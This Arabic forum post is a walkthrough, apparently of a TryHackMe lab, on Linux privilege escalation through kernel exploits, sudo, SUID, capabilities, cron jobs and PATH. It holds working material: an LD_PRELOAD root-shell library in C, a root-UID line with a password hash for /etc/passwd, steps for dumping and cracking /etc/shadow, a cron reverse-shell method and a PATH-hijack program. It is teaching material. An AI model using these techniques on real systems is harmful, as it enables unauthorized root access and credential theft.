مضى على الشبكة و يوم من العطاء.
  • تحذير: يجب على كل روّاد الشبكة تشغيل برامج الاختراق داخل الأنظمة الوهمية وهي بهدف التعلم وحماية الأعضاء والتوعية بها

[ WalkTh ] تصعيد الصلاحيات على لينكس | Linux Privilege Escalation

جزاك الله خير : وزادك الله من فضله
 
الـ Privilege Escalation

7303ba648ef3f3f899a55c7b19195add.png

الـ Privilege escalation هي عبارة عن طريقة لزيادة صلاحياتك داخل نظام كمبيوتر معين , يعني مثلاً لو أنت مستخدم عادي وبدك توصل لصلاحيات المدير

الموضوع مش سهل ولا فيه حلول سريعة كل اشي بعتمد على إعدادات النظام اللي بتحاول تهاجمه يعني مثلاً إصدار الـ kernel والبرامج المثبتة ولغات البرمجة المدعومة وحتى كلمات السر للمستخدمين الآخرين كل هاد بأثر في الطريقة اللي بنستخدمها عشان نوصل لصلاحيات مدير النظام.

الـ Privilege Escalation
الموضوع ببساطة هو انك تبدأ من حساب مستخدم عادي بصلاحيات قليلة وتوصل لحساب بصلاحيات أعلى
تقنيا هو استغلال لثغرة أمنية أو خطأ في التصميم أو إعداد خاطئ في نظام التشغيل أو التطبيق للوصول غير المصرح به للموارد التي عادة ما تكون مقيدة من المستخدمين

ليش الـ Privilege Escalation مهم؟

من النادر جدا في اختبار الاختراق في العالم الحقيقي أن تحصل على وصول مباشر للـ system administrator الـ Privilege Escalation مهم جدا لأنه بسمحلك تحصل على الـ system administrator في النظام

اللي بسمح لك بعمليات زي :
  • إعادة تعيين كلمات المرور
  • تجاوز ضوابط الوصول لاختراق البيانات المحمية
  • تعديل إعدادات البرمجيات
  • تفعيل الثبات ( persistence )
  • تغيير صلاحيات المستخدمين الحاليين (أو الجدد)
  • تنفيذ أي أمر إداري

راح نركز على النقاط التاليه

1. الـ Enumeration وادوات بتعمل Automated Enumeration
2. رفع الصلاحيات بإستخدام الـ Kernel
3. رفع الصلاحيات بإستخدام الـ Sudo
4. رفع الصلاحيات بإستخدام الـ SUID
5. رفع الصلاحيات بإستخدام الـ Capabilities
6. رفع الصلاحيات بإستخدام الـ Cron Jobs
7. رفع الصلاحيات بإستخدام الـ PATH
8. رفع الصلاحيات بإستخدام الـ NFS
9. تحدي عملي لرفع الصلاحيات






الـ Enumeration وادوات بتعمل Automated Enumeration

نسجل دخول عن طريق الـ ssh

الاسم : karen
الباس : Password1


لما نحصل على وصول إلى أي نظام معين الخطوة الأولى اللي لازم نعملها هي الـ Enumeration أي نحصر ونجمع كل المعلومات الممكنة حول هذا النظام ممكن يكون الك وصول إلى النظام عن طريق استغلال ثغرة أدت إلى الوصول إلى مستوى عالي ( root-level ) أو ممكن اكتشفت طريقة ترسل أوامر باستخدام حساب بـ صلاحيات منخفضة
بتميز اختبار الاختراق عن الـ CTF بأنه ما بنتهي بمجرد الوصول إلى نظام معين أو مستوى صلاحيات محدد للمستخدم , الـ Enumeration أمر مهم جداً خلال مرحلة ما بعد الاختراق تماماً كما هو مهم قبل الاختراق


الـ hostname هو الأمر اللي برجعلك اسم الجهاز اللي متصل عليه وبالرغم إنه هالقيمة بتقدر تتغير بسهولة وتكون سلسلة معاني ( زي مثلاً Ubuntu-3487340239 ) بعض الأحيان ممكن تقدم معلومات عن النظام داخل الشبكة (مثلاً SQL-PROD-01 لجهاز خادم SQL للإنتاج)
الـ uname -a برجعلك معلومات عن النظام وبعطيك تفاصيل أكتر عن الـ kernel اللي بستخدمها النظام هاد بفيد لما تدور على ثغرات محتملة في الـ kernel اللي ممكن تساعدك ترفع صلاحياتك
الـ proc filesystem بعطيك معلومات عن عمليات النظام بتقدر تلاقي proc في أنظمة لينكس كتيرة زي لما نشغل proc/version/ ممكن نشوف معلومات عن إصدار الـ kernel وبيانات إضافية زي إذا كان في مثلاً compiler مثل GCC مثبت فـ هو أداة ضرورية
الـ etc/issue/ هاد الملف عادة بحتوي على بعض المعلومات عن نظام التشغيل بس بتغير بسهولة و أي ملف فيه معلومات عن النظام بتعدل أو بتغير
الـ sudo -l بعرض للمستخدم قائمة بكل الأوامر التي يمكنه تشغيلها بصلاحيات مرتفعة (بمعنى أنه يمكن تشغيلها بصلاحيات الـ root ) باستخدام sudo دون الحاجة إلى توجيه الطلب مباشرة إلى المسؤول الرئيسي الـ root
الـ ls أحد الأوامر الشائعة في لينكس هو الـ ls اللي بيساعدك تشوف محتوى المجلدات والملفات في النظام
الـ id بعرضلك ملخص عن مستوى صلاحياتك بالنظام والمجموعات اللي انت فيها
الـ etc/passwd/ قراءة ملف etc/passwd/ بتكون طريقة سهلة لاكتشاف المستخدمين على النظام , الملف هاد بحتوي على معلومات عن المستخدمين مثل اسم المستخدم ورقمه والمجلد الرئيسي وغيرها
الـ history بعرضلك الأوامر اللي استخدمتها قبل بالنظام وهاد ممكن يفيدك تعرف أيش اللي صار عالنظام قبل



الـ ps Command (أمر ps) هذا الأمر يستخدم في نظام Linux لمراقبة العمليات الجارية , عند كتابة ps في نافذة الـ terminal بعرضلك العمليات الشغاله بالـ shell الحالي
  • النتائج التي بعرضها الأمر بتشمل :
    • الـ PID : رقم تعريفي فريد لكل عملية
    • الـ TTY : نوع الـ terminal المستخدم
    • الـ Time : كمية وقت وحدة المعالجة المركزية المستخدمة من قبل العملية
    • الـ CMD : الأمر أو البرنامج الذي يتم تشغيله
  • يوجد بعض الخيارات المفيدة مثل :
    • ps -A : لعرض جميع العمليات الجارية
    • ps axjf : لعرض شجرة العمليات
    • ps aux : يعرض العمليات لجميع المستخدمين مع معلومات إضافية مثل اسم المستخدم وعدم الانتماء إلى terminal

الـ env Command (أمر env) يُستخدم لعرض المتغيرات البيئية في النظام مثلا متغير الـ PATH ممكن يحتوي على مسارات لبرامج محددة ممكن تفيد لتطوير أو لتشغيل البرامج
  1. تفاصيل إضافية :
    • يمكن استخدام معلومات العمليات المسترجعة من ps لمراقبة أداء النظام والكشف عن أي مشاكل
    • يمكن استخدام بيانات العمليات لتحديد العمليات الخطيرة أو البرامج اللي ممكن تكون مشبوهة ممكن تساعدنا بتحسين أمان النظام وتحديد نقاط الضعف المحتملة
باختصار الـ ps و env هما أدوات مفيدة في نظام Linux لفهم ومراقبة العمليات الجارية والبيئة للنظام ويمكن استخدامهما لتحسين أمان النظام وتحديد المشاكل


الـ ifconfig بتعطيك معلومات مفصلة حول واجهات الشبكة على النظام وبينها معلومات مهمة مثل عنوان الـ IP الخاص بالجهاز وعنوان الـ MAC وغيرها من المعلومات اللازمة لتوصيل الجهاز بالشبكة

hcdZnwK.png

بالنسبة للنظام المستهدف اللي بالصورة بنلاحظ انه بحتوي على ثلاث واجهات شبكة ( eth0 ، tun0 ، tun1 ) لكن الجهاز اللي بهاجم منه ممكن يكون قادر يوصل فقط لوحدة من هاي الواجهات وهي واجهة eth0 بشكل مباشر أما بالنسبة للواجهات الثانيه ممكن تكون موجودة بشبكات ثانية غير متاحة مباشرة للوصول من الجهاز المهاجم
ممكن نستخدم الامر ip routre لمعرفة إذا كان الوصول متاح للواجهات الشبكية الأخرى غير eth0 من جهاز الهجوم وهاد بساعد بفهم البيئة الشبكية وتحديد إمكانية الوصول إلى أجهزة أخرى بالشبكة




الـ netstat بتخليك تشوف كل اشي عن الإتصالات اللي بالنظام الخاص فيك

يعني مثلاً لو بدك تشوف البورتات اللي فاتحة والاتصالات اللي معمولة تقدر تستخدم الأمر هاد 👇
كود:
netstat -a
وإذا بدك تشوف البورتات بس للاتصالات اللي بتستخدم بروتوكول
الـ TCP بتستخدم الأمر هاد 👇
كود:
netstat -at
الـ UDP بتستخدم الأمر هاد 👇
كود:
netstat -au
لو بدك يعرضلك البورتات اللي جاهزة تستقبل اتصالات يعني فاتحة وهاد بنفع تستخدمه معاه الأمر t عشان يعرضلك بورتات TCP اللي فاتحة
كود:
netstat -l
لو بدك يعرضلك إحصائيات استخدام الشبكة بروتوكول بروتوكول وهاد بنفع تستخدمه معاه t أو u عشان تقتصر على بروتوكول معين
كود:
netstat -s
لو بدك يعرضلك الاتصالات مع اسم الخدمة ورقم البروسيس بتستخدم الأمر هاد 👇 ( وبتقدر تستخدمه مع الأمر l عشان يعرضلك البورتات اللي جاهزة تستقبل اتصالات )
كود:
netstat -tp

JK7DNv0.png

وبنلاقي عمود اسمه PID/Program name فاضي عشان البروسيس هاد مملوك من قبل مستخدم تاني

بس لو استخدمت الأمر هاد بصلاحيات root بتلاقي العمود بعرضلك بيانات زي 2641/nc (netcat)

FjZHqlY.png

ولو بدك يعرضلك إحصائيات الـ interface بتستخدم الأمر هاد 👇
كود:
netstat -i

مثلا بالمثال هاد بنلاقي إن eth0 و tun0 أكتر نشاط من tun1

r6IjpmZ.png
الاستخدام اللي يستخدم كتير في هو
كود:
netstat -ano
  • الـ a بعرضلك كل السوكيتات، يعني الاتصالات اللي يتم إنشاؤها والبورتات الفاتحة
  • الـ n اللي بتعمله انها ما تحول أسماء الهوستات تخليها ip يعني تعرضلك الـIP مباشرة بدل ما تحاول تجيب أسماء الاجهزه
  • الـ o بعرضلك معلومات عن السوكيتات زي الوقت اللي مرت عليها

الأمر find هو أمر أساسي جدا في التصفح والبحث في النظام اللي بتشتغل عليه بساعدك تلاقي معلومات مهمة ممكن ما تكون بتقدر توصللها بسهولة
النماذج اللي تحت هي عبارة عن أمثلة على استخدام الأمر find

الامر هاد عشان نلاقي الملف اللي اسمه في المجلد اللي انت فيه حاليا
كود:
find . -name flag1.txt

الامر هاد عشان نلاقي الملف اللي اسمه flag1.txt في المجلد home/
كود:
find /home -name flag1.txt

الامر هاد عشان نلاقي المجلد اللي اسمه config في كل النظام
كود:
find / -type d -name config

الامر هاد عشان نلاقي ملفات بصلاحيات 777 (ملفات قابلة للقراءة والكتابة والتنفيذ من قبل كل المستخدمين)
كود:
find / -type f -perm 0777

الامر هاد عشان نلاقي ملفات تنفيذية ( executable )
كود:
find / -perm a=x

الامر هاد عشان نلاقي كل الملفات اللي مالكها فرانك في مجلد home/
كود:
find /home -user frank

الامر هاد عشان نلاقي ملفات اللي تم تعديلها في الـ 10 أيام الأخيرة
كود:
find / -mtime 10

الامر هاد عشان نلاقي كل ملفات اللي تم الوصول إليها في الـ 10 أيام الأخيرة
كود:
find / -atime 10

الامر هاد عشان نلاقي الملفات اللي تم تغييرها في الساعة اللي فاتت (60 دقيقة)
كود:
find / -cmin -60

الامر هاد عشان نلاقي الملفات اللي تم الوصول إليها في الساعة اللي فاتت (60 دقيقة)
كود:
find / -amin -60

الامر هاد عشان نلاقي الملفات اللي حجمها 50 ميجا بايت
كود:
find / -size 50M


يمكن استخدام الأمر هاد مع (+) و (-) عشان نحدد ملفات أكبر أو أصغر من الحجم المحدد

مثال
الامر هاد عشان نلاقي الملفات اللي حجمها اكبر من 100 ميجا بايت
كود:
find / -size +100M

ومهم جدا تعرف إن الأمر بعطي أحيانا أخطاء بتخلي الناتج صعب القراءة فـ من الأفضل استخدام الأمر مع
كود:
2>/dev/null
عشان نحول الأخطاء لـ dev/null/ ونحصل على نتيجة أنظف
يعني بطلعلك المجلدات والملفات اللي بتقدر تكتب فيها أو تشغلها :

الاوامر هاي عشان نلاقي المجلدات اللي بإمكاننا نكتب فيها
كود:
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null


عشان نلاقي أدوات التطوير واللغات اللي مدعومة :
كود:
find / -name perl*
find / -name python*
find / -name gcc*

مثال قصير للبحث عن ملفات فيها بت SUID
الـ SUID بتسمح للملف يشتغل بصلاحيات المستخدم اللي مالكه بدل من المستخدم اللي شغال البرنامج
هاد بفتح فرصة لزيادة الصلاحيات وراح نحكي لقدام عنها اكثر المثال هاد معروض عشان نكمل الكلام عن الأمر find

الامر هاد عشان نلاقي الملفات اللي فيها بت SUID
كود:
find / -perm -u=s -type f 2>/dev/null


وايضا اوامر لينكس العامة مفيده لعملية الـ Enumeration


أدوات الـ Automated Enumeration

أدوات الـ Automated Enumeration اللي بتساعدك توفر وقت في عملية الـ Enumeration الأدوات هاي لازم تستخدمها عشان توفر وقت بس خلي بالك إنها ممكن تفوت عليك نقاط تساعدك ترفع صلاحياتك

نوع النظام اللي بتهاجمه هو اللي بيحدد أي أداة لازم تستخدمها مثلا
لو ما كان عندك بايثون مثبت بالنظام اللي بتخترقه ما رح تقدر تشغل أداة مكتوبة بالبايثون لهيك الأفضل إنك تكون ملم بعدة أدوات بدل ما تعتمد على أداة وحدة

الـ LinPeas
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

الـ LinEnum
https://github.com/rebootuser/LinEnum

الـ LES (Linux Exploit Suggester)
https://github.com/mzet-/linux-exploit-suggester

الـ Linux Smart Enumeration
https://github.com/diego-treitos/linux-smart-enumeration

الـ Linux Priv Checker
https://github.com/linted/linuxprivchecker













رفع الصلاحيات بإستخدام الـ Kernel

نسجل دخول عن طريق الـ ssh بالمعلومات المعطاة

اسم المستخدم : karen
الباسورد : Password1

الفكرة إننا نلاقي ثغرة في النظام ونستغلها عشان نوصل لـ صلاحيات أعلى

بنقدر نوصل لـ صلاحيات اعلى إما
أننا نستخدم ثغرة موجودة أو
أننا ندخل على حساب مستخدم ثاني فيه صلاحيات أعلى

الـ kernal هو اللي بدير التواصل بين الاشياء زي الذاكرة في الجهاز والبرامج لكن لازم الـ kernal هاد يكون عنده صلاحيات معينة فلو اكتشفنا ثغرة فيه واستغليناها ممكن نوصل لـ صلاحيات الـ root

الفكره بسيطه بس نعرف اصدار ( نسخة الـ kernal ) وبعدها بندور على كود لثغرة متوافق مع النسخة هاي

بس اكيد ممكن الثغرة تؤدي لتعطل النظام فتأكدوا إنكم مستعدين للمخاطرة هاي قبل ما تحاولوا تنفذو اي ثغرة

للبحث عن كود لثغرات ممكن نستخدم جوجل أو مواقع زي
https://www.linuxkernelcves.com/cves

وممكن كمان تستخدم LES ( Linux Exploit Suggester ) اكيد في احتماليه انه يعطيكم نتائج خاطئة يعني يعطيك ثغرة وهمية أو ما يعطيك أي ثغرات بالرغم إن الـ kernal فيه ثغرات

نصائح:

  • تأكد من تحديد إصدار الـ kernal بدقة عند البحث عن ثغرات
  • تأكد من فهم كيفية عمل الثغرة قبل تنفيذها
  • قد تتطلب بعض الثغرات تفاعل إضافي بعد تشغيلها اقرأ كل التعليقات والتعليمات المرفقة مع كود الثغرة
  • بتقدر تنقل كود الثغرة من جهازك للجهاز المستهدف باستخدام SimpleHTTPServer Python module و wget


السؤال
( الحل عن طريق الامر نعرف الاصدار ( uname -a ) )


ثم نجد الـ CVE-2015-1328 ونجد بالموقع
الكود

بنفتح بايثون سيرفر عشان ننقل الملف على اللينكس اللي سجلناله عن طريق الـ ssh قبل
عن طريق الامر
كود:
python3 -m http.server

بعدها بنكتب wget والـ ip زي اللي بالصورة عشانن ننقل الملف على لينكس

بعدها بنحول الملف من c عشان نقدر ننفذه على لينكس عن طريق الامر

كود:
gcc CVE-2015-1328.c -o output

بعدها بنشغل الملف وهيك بنكون رفعنا صلاحياتنا وصرنا root





رفع الصلاحيات بإستخدام الـ Sudo


نسجل دخول عن طريق الـ ssh بالمعلومات المعطاة

اسم المستخدم : karen
الباسورد : Password1

الـ sudo هو أمر بسمحلك تشغل البرامج بصلاحية الـ root
لكن ببعض الأحيان بحتاج مسؤولين النظام انهم يعطوا مستخدمين شوية مرونة بـ صلاحياتهم مثلا محلل أمن مبتدئ بحتاج يستخدم Nmap بانتظام
بهاي الحالة بأمكانه مسؤول النظام يسمح لهاد المستخدم بتشغيل Nmap فقط بصلاحيات الـ روت مع الاحتفاظ بمستوى الصلاحيات العادي اللي معاه بباقي النظام

أي مستخدم بإمكانه يتحقق من وضعه الحالي اللي بتعلق بصلاحيات الـ root باستخدام الأمر sudo -l
م
موقع https://gtfobins.github.io
هو موقع رهيب بقدم معلومات عن كيفية استخدام أي برنامج بمتلك صلاحيات sudo عليه

بعض التطبيقات ممكن ما يكون فيها ثغرات معرفوه مثل خادم Apache2

بهاي الحالة ممكن نستخدم ثغرة لتسريب المعلومات باستغلال وظيفة معينة في التطبيق

بالمثال هون عننا الـ Apache2 فيها خيار بدعم تحميل ملفات ممكن نستخدم الامر
f- عشان نحدد ملف



بعض الأنظمة لما نستخدم الامر sudo -l ممكن نشوف فيها خيار اسمه LD_PRELOAD
الـ LD_PRELOAD هي وظيفة بتسمح لأي برنامج يستخدم مكتبات
وفي عننا الـ env_keep إذا كان الخيار مفعل ممكن ننشئ مكتبة مشتركة يتم تحميلها وتنفيذها قبل تشغيل البرنامج لكن لازم نعرف عن خيار LD_PRELOAD انه بتجاهل إذا كانت الهوية الحقيقية للمستخدم مختلفة عن الهوية الفعلية اللي اله

gGstS69.png



الخطوات هون لرفع الصلاحيات بنقدر نلخصها كالتالي :

بنتحقق من LD_PRELOAD ( بخيار env_keep ) بنكتب كود C بسيط وبنحوله لملف امتداده so. وبنشغل البرنامج بصلاحيات sudo وبخيار LD_PRELOAD وحدد الملف الـ so.

الكود C هيكون ببساطة عبارة عن الاتي :

كود:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

ممكن نحفظ الكود هاد بإسم shell.c وبنحوله عن طريق الـ gcc إلى ملف امتداده so.

كود:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles

ممكن نستخدم الملف هاد عشان نرفع صلاحياتنا على النظام
بنشغله وبنحط معاه sudo







لازم نرفع صلاحياتنا عشان نجاوب على السؤال الرابع

وحده من الثلاث اشياء التي نستطيع تشغيلها هي nano


نذهب الى موقع

ونبحث عن nano
ونذهب لقسم الـ sudo

نطبق ما هو مكتوب


مشاهدة المرفق 9699






رفع الصلاحيات بإستخدام الـ SUID

نسجل دخول عن طريق الـ ssh بالمعلومات المعطاة

اسم المستخدم : karen
الباسورد : Password1


الـ SUID اللي هو Set-user Identification و
الـ SGID اللي هو Set-group Identification
هدول بخلوا الملفات تتنفذ بصلاحيات مالك الملف أو مجموعته

وبنلاحظ انه الملفات هاي عندها بت s فوق (هاي معناها انه فيها صلاحيات خاصة)

عشان نعرف الملفات اللي عندها هاي الأذونات بنكتب الأمر
كود:
find / -type f -perm -04000 -ls 2>/dev/null

وهو بعرضلك قائمة بالملفات اللي عندها SUID أو SGID

fJEeZ4m.png


القائمة اللي بنشوفها هنا بتبين إن الملف nano عنده SUID
وفي حركة حلوة بتقدر تعملها اللي انك تقارن الملفات اللي طلعت في القائمة هاي مع الموقع اللي سبق وحكينا عنه GTFOBins (من هون : https://gtfobins.github.io) وبتضغط على زر SUID هيك بتفلتر الملفات اللي فيها ثغرات معروفة لما تكون SUID مفعلة


لما يكون الـ SUID للـ nano مفعلة بتخلينا نقدر نعمل ونعدل ونقرأ الملفات باستخدام صلاحيات صاحب الملف نفسه
واذا كان صاحب الملف هو root يعني احتمال كبير إننا نقدر نقرأ ونعدل ملفات على مستوى صلاحيات أعلى من صلاحيات المستخدم اللي احنا فيه حاليا

بهاي الخطوه عننا خيارين عشان نرفع صلاحياتنا : إما نقرأ ملف etc/shadow/ أو نضيف مستخدم جديد لملف etc/passwd/

وراح نحل على الطريقتين
نقرأ ملف etc/shadow/
بنكتب الامر هاد
كود:
nano /etc/shadow
بظهرلنا محتويات ملف etc/shadow/ وبعدين بنقدر نستخدم أداة اسمها unshadow عشان نعمل ملف نقدر عن طريقه نجيب كلمات السر الخاصة بالمستخدمين عن طريق اداه John the Ripper ( نكسر الهاش )
عشان نقدر نستخدم هاي الاداة لازم يكون عننا ملفين etc/shadow/ و etc/passwd/

باستخدام الأداة unshadow
كود:
unshadow passwd.txt shadow.txt > passwords.txt

بعدها عن طريق john بنقدر نعرف الباسوورد او اكثر من باسورد للمستخدمين
الروم هاي بتفيدكم عشان تتعرفوا على الاداة بشكل اكبر
https://tryhackme.com/room/johntheripper0

نضيف مستخدم جديد لملف etc/passwd/

اولا
علما انه معنى الامر هو
الـ passwd هذا الجزء من الأمر يعني أننا بدنا ننشئ كلمة مرور مشفرة
الـ 1- هذا الخيار يحدد استخدام خوارزمية التشفير MD5
الـ salt abood- هذا الخيار يحدد قيمة الملح (salt) التي تُضاف إلى كلمة المرور قبل تشفيرها، حيث abood هو قيمة الملح التي تم تحديدها هنا
الـ pass1 هاي هي كلمة المرور اللي بدك تشفرها

بنضيف هذا السطر على ملف passwd
علما انه كلمه السر للحساب اللي اسمه abood هي pass1
كود:
abood:$1$abood$b8GqxlLtummao0MjRxmoA1:0:0:root:/root:/bin/bash
لما نضيف المستخدم (علماً بأننا استخدمنا root:/bin/bash علشان نعطي الشل بصلاحيات root ) بنحتاج نحول للمستخدم هاد وهيك بنكون حصلنا على صلاحيات root

بعدها بنضيف كلمة السر هاي واسم المستخدم لملف etc/passwd/
من هو المستخدم الذي يشارك اسم كاتب كتاب الـ great comic؟





ما هي كلمة المرور للمستخدم 2؟

اولا عن طريق الامر
كود:
cat /etc/passwd
نأخذ الناتج ونخزنه على جهازنا الاساسي بملف اسمه passwd.txt



ثانيا عن طريق الامر

ملاحظه عند محاوله كتابه الامر
كود:
cat /etc/shadow

يعطيك ليس لديك صلاحية
كما بالصورة

لكن عند استخدام الامر
كود:
find / -type f -perm -04000 -ls 2>/dev/null
اللي سبق وحكينا عنو " وهو بعرضلك قائمة بالملفات اللي عندها SUID أو SGID "


بنلاقي الـ bas64
لذلك بنعرض اللي بداخل الملف shadow عن طريق الامر

نأخذ الناتج ونخزنه على جهازنا الاساسي بملف اسمه shadow.txt


بعدها زي ما حكينا قبل

"
باستخدام الأداة unshadow
كود:
unshadow passwd.txt shadow.txt > passwords.txt

بعدها عن طريق john بنقدر نعرف الباسوورد او اكثر من باسورد للمستخدمين
"

بعدها ناحذ قيمه الهاش ونضعها بملف للمستخدم المطلوب معرفة كلمة السر الخاصة فيه

وعن طريق john او hashcat








رفع الصلاحيات بإستخدام الـ Capabilities

نسجل دخول عن طريق الـ ssh بالمعلومات المعطاة

اسم المستخدم : karen
الباسورد : Password1

الـ Capabilities بتساعد على إدارة الصلاحيات بشكل دقيق اكثر
مثلا لو إذا احتاج محلل SOC إلى استخدام أداة تحتاج إلى بدء اتصالات socket المستخدم العادي ما بقدر يعمل هيك لو ما معاه صلاحيات عالية

اذا قدرنا نعدل على الـ Capabilities
هي أسلوب ثاني لمسؤولي النظام بإمكانهم استخدامه لرفع مستوى الصلاحيات لبرنامج أو عملية معينة ( بغير بالبرنامج )

باختصار البرنامج بعمل شغله دون ما يحتاج مستخدم بصلاحيات عالية

بنقدر نستخدم أداة getcap عشان نشوف الـ Capabilities المفعلة عن طريق الامر التالي

كود:
getcap -r / 2>/dev/null


لو شغلت الأداة بحساب مستخدم عادي بطلعلك كثير أخطاء فـ الأفضل تحول رسائل الخطأ هاي لملف dev/null/




بنبحث بموقع GTFOBins عن الـ vim وبنحدد بدنا نقرأ ملف بنلاقي ( امر عادي بـ لينكس )






رفع الصلاحيات بإستخدام الـ Cron Jobs


نسجل دخول عن طريق الـ ssh بالمعلومات المعطاة

اسم المستخدم : karen
الباسورد : Password1

الـ Cron jobs هي عبارة عن مهام بتتنفذ بأوقات محددة زي ممكن تكون بتشغل سكريبتات أو برامج فـ بشكل افتراضي بتشتغل بصلاحيات المالك الأصلي مش بصلاحيات المستخدم الحالي اللي مسجل على النظام.

الـ Cron jobs مش مشكلة بحد ذاتها لكن ببعض الحالات ممكن تكون مصدر لاختراق الصلاحيات

الفكرة بسيطة لو فيه مهمة مجدولة بتشتغل بصلاحيات الـ root واحنا قادرين نغير السكربت اللي بتنفذ هيك بشتغل السكريبت بصلاحيات الـ root

إعدادات الـ Cron jobs بتتخزن بملفات crontab عشان نشوف المواعيد اللي بتتنفذ فيها المهام

كل مستخدم على النظام بكون عنده ملف crontab خاص فيه وبقدر يشغل مهام معينة سواء كان مسجل على النظام ولا لأ الهدف مننا نلاقي مهمة Cron job مسجلة من قبل الـ root ونخليها تشغل السكريبت اللي احنا بدنا اياه أفضل اشي ممكن نحطه هو shell

أي مستخدم ممكن يقرأ الملف اللي بنحفظ بالمهام الخاصة بالنظام بـ etc/crontab/

بالـ CTF machines بتكون فيها مهام Cron بتشتغل كل دقيقة أو كل 5 دقايق بس بالعادة بنشوف المهام اللي بتشتغل يوميا أو أسبوعيا أو شهريا في اختبارات اختراق الأنظمة


بنقدر نشوف إن السكريبت backup.sh مُعدل عليه عشان يشتغل كل دقيقة, محتوى الملف ببين سكريبت بسيط بعمل نسخة احتياطية من ملف prices.xls


وطبعا واحنا كمستخدم حالياً قادرين نوصل للسكريبت هاد وطبعا ممكن نعدل عليه بسهولة ونحط فيه reverse shell مع الأمل إننا نصبح بصلاحيات الـ root

السكربت بستخدم الأدوات الموجودة على النظام المستهدف عشان يشغل الـ reverse shell

نقطتين لازم نلاحظهم:

طريقة كتابة الأوامر بتختلف اعتمادًا على الأدوات المتوفرة مثلاً أداة nc ممكن ما تدعم الخيار e- اللي شفناه مستخدم بحالات ثانية الافضل نستخدم reverse shell عشان ما نعرض سلامة النظام للخطر في اختبار الاختراق الحقيقي

الملف بكون بهاد الشكل


وبنشغل ليسنر على جهازنا عشان نستقبل الاتصال


دايمًا يستحق التحقق من الـ Cron tab عشان ممكن يكون فيها فرص سهلة لرفع الصلاحيات

سيناريو ممكن يصير لشركه غير متطلعه على الحماية منيح
مديري النظام بحتاجوا يشغلوا سكريبت معين بشكل منتظم
بعملوا Cron job عشان ينفذوا السكريبت هاد
بعد فترة ما بحتاجو السكريبت هاد وبحذفوه بس ما بنمسح الـ cron job اللي عملوه قبل
فـ نفكر شوي ... مشكلة فعلاً


مثال
المثال هاد بوضح موقف شبيه حيث تم حذف سكريبت antivirus.sh بس الـ cron job لسه موجودة
لو المسار الكامل للسكريبت مش محدد ( زي ما تم عمله للسكريبت backup.sh )



الـ cron بشوف الـ PATH اللي موجودة بـ etc/crontab/ بالحالة هاي بنكون قادرين نعمل سكريبت بإسم antivirus.sh بمجلد اليوزر الخاص فينا والـ cron job بشغله

الملف على النظام المستهدف بنعمله على هاد الشكل ( revers-shell )


اتصال الـ reverse shell الجاية بصلاحيات الـ root
نادر إنك تلاقي سكريبت موجود أو مهمة مرتبطة بـ cron job دايماً بستحق الوقت إللي بتستغرقه عشان تفهم وظيفة السكريبت وكيفية استخدام أي أداة في سياق السكريبت مثلا أدوات زي tar، 7z، rsync ممكن تستغل باستخدام خاصية الـ wildcard الخاصه فيها



كيفية حله 👇

وما ننسى نعدل نخليه هيك





بنعدل اللي داخل الملف لـ

مشاهدة المرفق 9766


بنشغل الليسنر

مشاهدة المرفق 9762
بعدها بنرفع صلاحيات الملف عن طريق الامر
كود:
chmod+x backup.sh

وبنستنا شوي





بنبحث عن الفلاق عن طريق الامر
كود:
find / -name flag5.txt 2>/dev/null
مشاهدة المرفق 9809




عن طريق الامر التالي بظهر الهاش للباسورد للمستخدمين

كود:
cat /etc/shadow
وبظهر تحت

مشاهدة المرفق 9811

بنوخذ الهاش وبنحطه بملف

مشاهدة المرفق 9812

بعدها عن طريق john بنقدر نكسر الهاش

مشاهدة المرفق 9813







رفع الصلاحيات بإستخدام الـ PATH


نسجل دخول عن طريق الـ ssh بالمعلومات المعطاة

اسم المستخدم : karen
الباسورد : Password1

إذا كان فيه مجلد عندك وانت عندك صلاحية كتابة فيه ممكن تتلاعب بالتطبيقات وتشغل سكربتات بـ لينكس في اشي اسمه PATH هاد بعرف النظام وين يدور على البرامج القابلة للتشغيل
يعني لو كتبت أمر بالتيرمينال مش مدرج بالشل أو مكتوب بالمكان الكامل النظام ببلش يدور في بمجلدات اللي بالـ PATH


عادة الـ PATH بكون شكلها هيك :

ch2Z4zp.png


إذا كتبنا thm بالتيرمينال النظام بدور بالمجلدات هاي عشان يلاقي ملف اسمه thm السيناريو اللي تحت راح يوضحلك أكتر كيف ممكن نستخدم الموضوع هاد عشان نرقي صلاحياتنا
بس هاد كله بعتمد على إعدادات النظام المستهدف فـ تأكد إنك بتقدر تجاوب على الأسئلة اللي تحت قبل ماتجرب
  1. ما هي المجلدات الموجودة ضمن الـ PATH$ ؟
  2. المستخدم الحالي عنده صلاحيات كتابة في أي من هاي المجلدات ؟
  3. هل بنقدر نعدل بالـ PATH$ ؟
  4. فيه سكربت أو برنامج بتقدر تشغله ويتأثر بالثغرة هاي ؟


عشان نعرض الثغرة بنستخدم السكربت هاد :

C:
#include<unistd.h>
void main ()
{
    setuid (0);
    setgid (0);
    system("thm");
}

السكربت هاد بحاول يشغل ملف نظام اسمه thm بس هاد ممكن تعمله بأي ملف نظام آخر

بنجمع السكربت هاد بملف قابل للتشغيل
كود:
gcc file.c -o file -w

وبنضيفله SUID bit
chmod u+s file



المستخدم حاليًا عنده وصول للسكربت PATH و SUID bit مضاف له
لما يتم تنفيذ السكربت PATH ببحث عن ملف قابل للتشغيل اسمه thm بالمجلدات المدرجة تحت PATH
إذا كان أي مجلد قابل للكتابة موجود تحت PATH ممكن ننشئ ملف نظام اسمه thm بالمجلد هاد وبنخلي السكربت PATH يشغله


البحث عن مجلدات قابلة للكتابة بسيط جدًا باستخدام أمر
كود:
find / -writable 2>/dev/null
نتيجة هذا الأمر يمكن تنظيفها باستخدام تسلسل بسيط من القص والترتيب
يمكن تشغيل البحث عن مجلدات القابلة للكتابة لتشمل المجلدات الفرعية
ويمكن استخدام الأمر التالي كبديل
كود:
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
أضفنا grep -v proc للتخلص من النتائج الكثيرة المتعلقة بعمليات التشغيل

Y3pDsrL.png

للأسف المجلدات الفرعية داخل الـ usr/ غير قابلة للكتابة

المجلد اللي بكون من الأسهل الكتابة فيه هو على الأرجح tmp/

